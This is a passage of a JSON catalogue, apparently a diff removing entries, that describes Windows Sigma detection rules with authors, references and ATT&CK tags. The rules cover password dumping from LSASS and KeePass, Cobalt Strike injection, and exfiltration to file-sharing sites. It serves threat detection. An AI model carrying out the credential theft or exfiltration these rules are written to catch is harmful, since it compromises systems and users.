"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001" - ] - }, - "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", - "value": "Windows Defender Malware Detection History Deletion" - }, - { - "description": "Detects blocking of process creations originating from PSExec and WMI commands", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/07/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_defender_psexec_wmi_asr.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", - "https://twitter.com/duff22b/status/1280166329660497920", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1047", - "attack.t1569.002" - ] - }, - "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", - "value": "PSExec and WMI Process Creations Block" - }, - { - "description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/07/05", - "falsepositive": [ - "Administrator actions" - ], - "filename": "win_defender_tamper_protection_trigger.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml", - "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", - "value": "Microsoft Defender Tamper Protection Trigger" - }, - { - "description": "Detects all actions taken by Windows Defender malware detection engines", - "meta": { - "author": "Ján Trenčanský", - "creation_date": "2020/07/28", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_defender_threat.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", - "value": "Windows Defender Threat Detected" - }, - { - "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", - "meta": { - "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "creation_date": "2017/08/22", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "filename": "win_wmi_persistence.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://twitter.com/mattifestation/status/899646620148539397", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ] - }, - "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", - "value": "WMI Persistence" - }, - { - "description": "Detects remote thread injection events based on action seen used by bumblebee", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_bumblebee.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011", - "attack.t1059.001" - ] - }, - "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", - "value": "Bumblebee Remote Thread Creation" - }, - { - "description": "Detects remote thread creation from CACTUSTORCH as described in references.", - "meta": { - "author": "@SBousseaden (detection), Thomas Patzke (rule)", - "creation_date": "2019/02/01", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_cactustorch.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1090588499517079552", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml", - "https://github.com/mdsecactivebreach/CACTUSTORCH" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.012", - "attack.execution", - "attack.t1059.005", - "attack.t1059.007", - "attack.t1218.005" - ] - }, - "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", - "value": "CACTUSTORCH Remote Thread Creation" - }, - { - "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", - "meta": { - "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", - "creation_date": "2018/11/30", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml", - "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ] - }, - "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", - "value": "CobaltStrike Process Injection" - }, - { - "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/11", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_loadlibrary.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml", - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ] - }, - "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", - "value": "CreateRemoteThread API and LoadLibrary" - }, - { - "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", - "meta": { - "author": "Timon Hackenjos", - "creation_date": "2022/04/22", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_password_dumper_keepass.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml", - "https://github.com/GhostPack/KeeThief", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", - "https://github.com/denandz/KeeFarce" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.005" - ] - }, - "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", - "value": "KeePass Password Dumping" - }, - { - "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/02/19", - "falsepositive": [ - "Antivirus products" - ], - "filename": "create_remote_thread_win_password_dumper_lsass.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml", - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm" - ], - "tags": [ - "attack.credential_access", - "attack.s0005", - "attack.t1003.001" - ] - }, - "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", - "value": "Password Dumper Remote Thread in LSASS" - }, - { - "description": "Detects the creation of a remote thread from a Powershell process to another process", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_powershell_code_injection.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", - "value": "Accessing WinAPI in PowerShell. Code Injection" - }, - { - "description": "Detects PowerShell remote thread creation in Rundll32.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/06/25", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011", - "attack.t1059.001" - ] - }, - "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", - "value": "PowerShell Rundll32 Remote Thread Creation" - }, - { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", - "meta": { - "author": "Perez Diego (@darkquassar), oscd.community", - "creation_date": "2019/10/27", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_remote_thread_source.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml", - "Personal research, statistical analysis", - "https://lolbas-project.github.io" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", - "value": "Suspicious Remote Thread Source" - }, - { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/25", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_remote_thread_target.yml", - "level": "medium", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/" - ], - "tags": "No established tags" - }, - "uuid": "f016c716-754a-467f-a39e-63c06f773987", - "value": "Suspicious Remote Thread Target" - }, - { - "description": "Detects a remote thread creation in suspicious target images", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/16", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_susp_targets.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.003" - ] - }, - "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", - "value": "Remote Thread Creation in Suspicious Targets" - }, - { - "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", - "meta": { - "author": "frack113", - "creation_date": "2022/05/16", - "falsepositive": [ - "Unknown" - ], - "filename": "create_remote_thread_win_ttdinjec.yml", - "level": "high", - "logsource.category": "create_remote_thread", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ] - }, - "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", - "value": "Remote Thread Creation Ttdinject.exe Proxy" - }, - { - "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", - "meta": { - "author": "Florian Roth, @0xrawsec", - "creation_date": "2018/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_ads_executable.yml", - "level": "medium", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ] - }, - "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", - "value": "Executable in ADS" - }, - { - "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", - "meta": { - "author": "frack113", - "creation_date": "2022/10/22", - "falsepositive": [ - "Other legitimate browsers not currently included in the filter (please add them)", - "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" - ], - "filename": "create_stream_hash_creation_internet_file.yml", - "level": "medium", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml", - "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "573df571-a223-43bc-846e-3f98da481eca", - "value": "Creation Of a Suspicious ADS File Outside a Browser Download" - }, - { - "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_hacktool_download.yml", - "level": "high", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ] - }, - "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", - "value": "Hacktool Download" - }, - { - "description": "Exports the target Registry key and hides it in the specified alternate data stream.", - "meta": { - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_regedit_export_to_ads.yml", - "level": "high", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", - "value": "Exports Registry Key To an Alternate Data Stream" - }, - { - "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_susp_domain_ext_combo.yml", - "level": "high", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ] - }, - "uuid": "52182dfb-afb7-41db-b4bc-5336cb29b464", - "value": "Suspicious File Download from File Sharing Domain" - }, - { - "description": "Detects the download of suspicious file type from a well-known file and paste sharing domain", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_susp_domain_ext_combo_med.yml", - "level": "medium", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_domain_ext_combo_med.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ] - }, - "uuid": "ae02ed70-11aa-4a22-b397-c0d0e8f6ea99", - "value": "Unusual File Download from File Sharing Domain" - }, - { - "description": "Detects the download of suspicious file type from URLs with IP", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/07", - "falsepositive": [ - "Unknown" - ], - "filename": "create_stream_hash_susp_ip_domains.yml", - "level": "high", - "logsource.category": "create_stream_hash", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml", - "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "025bd229-fd1f-4fdb-97ab-20006e1a5368", - "value": "Unusual File Download from Direct IP Address" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/07/11", - "falsepositive": [ - "FP may be caused in legitimate usage of the softwares mentioned above" - ], - "filename": "dns_query_remote_access_software_domains.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "4d07b1f4-cb00-4470-b9f8-b0191d48ff52", - "value": "Query To Remote Access Software Domain" - }, - { - "description": "Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes", - "meta": { - "author": "pH-T", - "creation_date": "2022/07/15", - "falsepositive": [ - "Legitimate access to anonfiles.com" - ], - "filename": "dns_query_win_anonymfiles_com.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "065cceea-77ec-4030-9052-fc0affea7110", - "value": "DNS Query for Anonfiles.com Domain" - }, - { - "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", - "falsepositive": [ - "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" - ], - "filename": "dns_query_win_hybridconnectionmgr_servicebus.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1554" - ] - }, - "uuid": "7bd3902d-8b8b-4dd4-838a-c6862d40150d", - "value": "DNS HybridConnectionManager Service Bus" - }, - { - "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL", - "meta": { - "author": "frack113", - "creation_date": "2021/11/24", - "falsepositive": [ - "Unknown" - ], - "filename": "dns_query_win_lobas_appinstaller.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/notwhickey/status/1333900137232523264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml", - "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "7cff77e1-9663-46a3-8260-17f2e1aa9d0a", - "value": "AppInstaller Attempts From URL by DNS" - }, - { - "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/09", - "falsepositive": [ - "Unknown" - ], - "filename": "dns_query_win_mal_cobaltstrike.yml", - "level": "critical", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml", - "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "f356a9c4-effd-4608-bbf8-408afd5cd006", - "value": "Suspicious Cobalt Strike DNS Beaconing" - }, - { - "description": "Detects DNS queries for subdomains used for upload to MEGA.io", - "meta": { - "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/26", - "falsepositive": [ - "Legitimate Mega upload" - ], - "filename": "dns_query_win_mega_nz.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "613c03ba-0779-4a53-8a1f-47f914a4ded3", - "value": "DNS Query for MEGA.io Upload Domain" - }, - { - "description": "Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": "No established falsepositives", - "filename": "dns_query_win_possible_dns_rebinding.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_possible_dns_rebinding.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1189" - ] - }, - "uuid": "eb07e747-2552-44cd-af36-b659ae0958e4", - "value": "Possible DNS Rebinding" - }, - { - "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", - "meta": { - "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "dns_query_win_regsvr32_network_activity.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml", - "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/" - ], - "tags": [ - "attack.execution", - "attack.t1559.001", - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "36e037c4-c228-4866-b6a3-48eb292b9955", - "value": "Regsvr32 Network Activity" - }, - { - "description": "Detects DNS queries for ip lookup services such as api.ipify.org not originating from a non browser process.", - "meta": { - "author": "Brandon George (blog post), Thomas Patzke (rule)", - "creation_date": "2021/07/08", - "falsepositive": [ - "Legitimate usage of ip lookup services such as ipify API" - ], - "filename": "dns_query_win_susp_ipify.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml", - "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://twitter.com/neonprimetime/status/1436376497980428318" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1590" - ] - }, - "uuid": "ec82e2a5-81ea-4211-a1f8-37a0286df2c2", - "value": "Suspicious DNS Query for IP Lookup Service APIs" - }, - { - "description": "Detect suspicious LDAP request from non-Windows application", - "meta": { - "author": "frack113", - "creation_date": "2022/08/20", - "falsepositive": [ - "Programs that also lookup the observed domain" - ], - "filename": "dns_query_win_susp_ldap.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ldap.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ] - }, - "uuid": "a21bcd7e-38ec-49ad-b69a-9ea17e69509e", - "value": "Suspicious LDAP Domain Access" - }, - { - "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/30", - "falsepositive": [ - "Unknown binary names of TeamViewer", - "Other programs that also lookup the observed domain" - ], - "filename": "dns_query_win_susp_teamviewer.yml", - "level": "medium", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml", - "https://www.teamviewer.com/en-us/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "778ba9a8-45e4-4b80-8e3e-34a419f0b85e", - "value": "Suspicious TeamViewer Domain Access" - }, - { - "description": "Detects DNS resolution of an .onion address related to Tor routing networks", - "meta": { - "author": "frack113", - "creation_date": "2022/02/20", - "falsepositive": [ - "Unknown" - ], - "filename": "dns_query_win_tor_onion.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml", - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.003" - ] - }, - "uuid": "b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544", - "value": "Query Tor Onion Address" - }, - { - "description": "Detects DNS queries for subdomains used for upload to ufile.io", - "meta": { - "author": "yatinwad and TheDFIRReport", - "creation_date": "2022/06/23", - "falsepositive": [ - "Legitimate Ufile upload" - ], - "filename": "dns_query_win_ufile_io.yml", - "level": "high", - "logsource.category": "dns_query", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "1cbbeaaf-3c8c-4e4c-9d72-49485b6a176b", - "value": "DNS Query for Ufile.io Upload Domain" - }, - { - "description": "Detects well-known credential dumping tools execution via service execution events", - "meta": { - "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2017/03/05", - "falsepositive": [ - "Legitimate Administrator using credential dumping tool for password recovery" - ], - "filename": "driver_load_mal_creddumper.yml", - "level": "critical", - "logsource.category": "driver_load", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_mal_creddumper.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006", - "attack.t1569.002", - "attack.s0005" - ] - }, - "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", - "value": "Credential Dumping 